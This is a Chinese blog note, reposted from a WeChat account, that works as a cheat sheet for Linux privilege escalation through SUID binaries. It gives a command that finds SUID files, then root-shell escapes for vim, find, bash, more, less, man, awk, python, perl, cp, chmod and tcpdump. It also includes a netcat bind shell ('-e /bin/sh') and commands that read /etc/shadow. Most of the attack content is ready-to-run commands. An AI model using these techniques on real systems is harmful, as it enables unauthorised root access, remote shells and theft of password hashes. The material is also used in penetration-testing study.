zoukankan      html  css  js  c++  java
  • Linux提权之SUID提权

    本篇文章非原创,用作笔记方便后期查询,原创作者微信公众号“黑白之道”如有侵权,联系删除

    什么是suid?

    通俗的理解为其他用户执行这个程序的时候可以用该程序所有者/组的权限。

    常见的可用于suid提权的命令

    Vim
    
    find
    
    Bash
    
    More
    
    Less
    
    cp


    chmod


    ash/linux shell



    awk


    mv

    man

      python

     perl

    
    

    tcpdump

    
    


    查找suid文件
    find / -perm -u=s -type f 2>/dev/null
    
    
    /表示从文件系统的顶部(根)开始并找到每个目录
    -perm 表示搜索随后的权限
    -u = s表示查找root用户拥有的文件
    -type表示我们正在寻找的文件类型
    f 表示常规文件,而不是目录或特殊文件
    2表示该进程的第二个文件描述符,即stderr(标准错误)
    >表示重定向
    / dev / null是一个特殊的文件系统对象,它将丢弃写入其中的所有内容。
    
    
    
    
    Vim
    Vim是Linux环境下的一款文件编辑器。但是,如果以SUID运行的话,它会继承root用户的权限,因此可以读取系统上的所有文件。
    vim.tiny
    # Press ESC key
    :set shell=/bin/sh
    :shell
    
    
    

     find

    如果Find命令也是以Suid权限运行的话,则将通过find执行的所有命令都会以root权限执行。

    touch pentestlab
    find pentestlab -exec whoami ;
    

     大部分Linux操作系统都安装了netcat,因此也可以被利用来将权限提升至root。

    find pentestlab -exec netcat -lvp 5555 -e /bin/sh ;
    连接上去就会直接获取到一个Root权限的shell。
    1. netcat 192.168.1.189 5555
    2. id
    3. cat /etc/shadow
    Bash
    bash -p
    bash-3.2# id
    uid=1002(service) gid=1002(service) euid=0(root) groups=1002(service)
    
    
    

     More

    more /home/pelle/myfile
    !/bin/bash
    
    Less
    less /etc/passwd
    !/bin/sh
    
    
    

     cp(暂未验证)

    sudo sh -c 'cp $(which cp) .; chmod +s ./cp'
    

     chmod(暂未验证)

    sudo sh -c 'cp $(which chmod) .; chmod +s ./chmod'
    

     ash/linux shell

    sudo ash
    

     awk

    awk 'BEGIN {system("/bin/bash")}'
    

     

    mv(暂时未有实例)

    使用mv 覆盖 /etc/shadow 或者/etc/sudoers
    

      man

    man passwd
    !/bin/bash
    

     python

    import os
    os.system("/bin/bash")
    

     perl

    exec "/bin/bash";
    

     ruby/lua/etc也有相似

    tcpdump

    echo $'id
    cat /etc/shadow' > /tmp/.test
    chmod +x /tmp/.test
    sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root
    

    后续再找到再补充

    作者:求知鱼

    -------------------------------------------

    个性签名:你有一个苹果,我有一个苹果,我们交换一下,一人还是只有一个苹果;你有一种思想,我有一种思想,我们交换一下,一个人就有两种思想。

    如果觉得这篇文章对你有小小的帮助的话,记得在右下角点个“推荐”哦,博主在此感谢!

    独学而无友,则孤陋而寡闻,开源、分享、白嫖!

  • 相关阅读:
    kNN之手写数字识别
    KNN 约会网站配对
    mask_rcnn训练自己的数据集
    Unable to determine the device handle for GPU 0000:01:00.0: GPU is lost.问题排坑
    PAT Advanced 1050 String Subtraction (20) [Hash散列]
    PAT Advanced 1048 Find Coins (25) [Hash散列]
    PAT Advanced 1041 Be Unique (20) [Hash散列]
    PAT Basic 1083 是否存在相等的差 (20) [hash映射,map STL]
    PAT Basic 1047 编程团体赛(20) [Hash散列]
    PAT Basic 1043 输出PATest (20分)[Hash散列]
  • 原文地址:https://www.cnblogs.com/Qiuzhiyu/p/12528319.html
Copyright © 2011-2022 走看看